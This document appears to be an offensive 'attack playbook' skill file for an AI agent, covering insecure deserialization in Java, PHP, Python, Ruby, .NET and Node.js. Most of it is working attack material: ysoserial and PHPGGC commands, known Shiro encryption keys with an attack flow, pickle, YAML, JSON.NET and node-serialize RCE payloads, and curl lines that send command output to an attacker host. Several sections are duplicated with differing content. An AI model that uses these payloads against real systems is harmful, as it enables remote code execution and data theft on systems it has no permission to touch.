SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

0. RELATED ROUTING

• jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
• unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

• Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
• SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
• Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
• .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
• Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
• Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

PHP Serialized Objects

Python Pickle

2. JAVA — GADGET CHAINS AND TOOLS

ysoserial — Primary Tool

# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.

Commons Collections — The Classic Chain

The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.

Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.

Apache Shiro — rememberMe Deserialization

Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

Attack flow:

1. Detect: response sets rememberMe=deleteMe cookie on invalid session
2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
3. AES-CBC encrypt with known key + random IV
4. Base64-encode → set as rememberMe cookie value
5. Send request → server decrypts → deserializes → RCE

DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.

Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).

WebLogic Deserialization

Multiple vectors:

• T3 protocol (port 7001): direct serialized object injection
• XMLDecoder (CVE-2017-10271): XML-based deserialization via /wls-wsat/CoordinatorPortType
• IIOP protocol: alternative to T3

# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter

JDK Version Constraints

3. PHP — unserialize AND PHAR

Magic Method Chain

PHP deserialization triggers magic methods in order:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).

Serialized Object Format

O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin PMA_Config class reads arbitrary files via source property:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1

Phar Deserialization

Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.

Triggering functions (partial list):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

Attack flow:

1. Upload a valid file (e.g., JPEG with phar polyglot)
2. Trigger file operation: file_exists("phar://uploads/avatar.jpg")
3. PHP deserializes phar metadata → gadget chain executes

# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

reduce Method

Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes

import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks

pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

If safe_builtins includes eval, exec, or __import__ → still exploitable.

5. DETECTION METHODOLOGY

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. DEFENSE AWARENESS

7. QUICK REFERENCE — KEY PAYLOADS

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY DESERIALIZATION

Ruby Marshal

• Marshal.load on untrusted data → RCE
• Fingerprint: binary data, no common text header
• Gadget chains exist for various Ruby versions
• Docker verification: hex payload via [hex_string].pack("H*")

Ruby YAML (YAML.load)

• YAML.load (not YAML.safe_load) executes arbitrary Ruby objects
• Pre Ruby 2.7.2: Gem::Requirement chain → git_set: id / git_set: sleep 600
• Ruby 2.x-3.x: Gem::Installer → TarReader → Kernel#system chain (longer, multi-step)
• Always test: YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation check
• Payload template:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"

• Note: YAML.safe_load is safe (Ruby 2.1+); Psych.safe_load also safe

9. .NET DESERIALIZATION

• Traffic fingerprint:

  • BinaryFormatter: hex AAEAAD (base64 AAEAAAD/////)
  • ViewState: hex FF01 or /w prefix
  • JSON.NET: $type property in JSON

• BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation

• XmlSerializer: ObjectDataProvider + XamlReader chain for command execution

  <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
    <od:MethodName>Start</od:MethodName>
    <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
    <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
  </root>
  

• NetDataContractSerializer: similar to BinaryFormatter, full type info in XML

• LosFormatter: used in ViewState, deserializes to ObjectStateFormatter

• JSON.NET: $type property enables type control → ObjectDataProvider + ExpandedWrapper chains

  {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
  

• Tool: ysoserial.net — generate payloads for all .NET formatters

  ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
  ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
  

• POP gadgets: ObjectDataProvider, ExpandedWrapper, AssemblyInstaller.set_Path

10. NODE.JS DESERIALIZATION

• node-serialize: unserialize() with IIFE (Immediately Invoked Function Expression)

  • Payload marker: _$$ND_FUNC$$_
  • Add () at end to auto-execute:

  {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
  

• funcster: __js_function property → constructor.constructor to access process

  {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
  

• cryo: similar to funcster, serializes JS objects with function support

RUBY DESERIALIZATION

Marshal (Binary Format)

# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget

# Detection: binary data starting with \x04\x08
# Or hex: 0408

# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload)    # triggers arbitrary code execution

YAML.load (Critical — Most Common Ruby Deser Sink)

# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
    - !ruby/object:Gem::Source
      current_fetch_uri: !ruby/object:URI::Generic
        path: "| id"

# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
      socket: &1 !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id    # <-- command to execute
      method_id: :resolve

# Safe alternative: YAML.safe_load (whitelist of allowed types)

Tools

• elttam/ruby-deserialization — Ruby gadget chain generator
• frohoff/ysoserial inspiration → check Ruby-specific forks

.NET DESERIALIZATION

Traffic Fingerprinting

BinaryFormatter / LosFormatter

# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64

# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64

XmlSerializer + ObjectDataProvider

<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET with TypeNameHandling

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.

Tools

• pwntester/ysoserial.net — primary .NET deserialization payload generator
• Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile

NODE.JS DESERIALIZATION

node-serialize (IIFE Pattern)

// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}

funcster

// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}

PHP create_function + Deserialization Combo

// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

11. RUBY DESERIALIZATION

Marshal

# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08

# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*")  # Minimal Marshal header
Marshal.load(payload)

YAML (CVE-rich surface)

# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load

# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Gem::DependencyList
    specs:
    - !ruby/object:Gem::Source
      uri: "| id"

# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)

# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/

Tools: elttam/ruby-deserialization, mbechler/ysoserial (Ruby variant)

12. .NET DESERIALIZATION

Fingerprinting

BinaryFormatter (most dangerous)

# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw

ViewState (ASP.NET)

# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

# Leak machineKey from web.config (via LFI/backup) → forge ViewState

XmlSerializer + ObjectDataProvider

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET ($type abuse)

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}

Vulnerable when TypeNameHandling != None in JSON deserialization settings.

Tools

• pwntester/ysoserial.net — primary .NET gadget chain generator
• NotSoSecure/Blacklist3r — decrypt/forge ViewState with known machineKey

13. NODE.JS DESERIALIZATION

node-serialize (IIFE injection)

// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization

funcster

// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}

PHP create_function + Deserialization Combo

// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}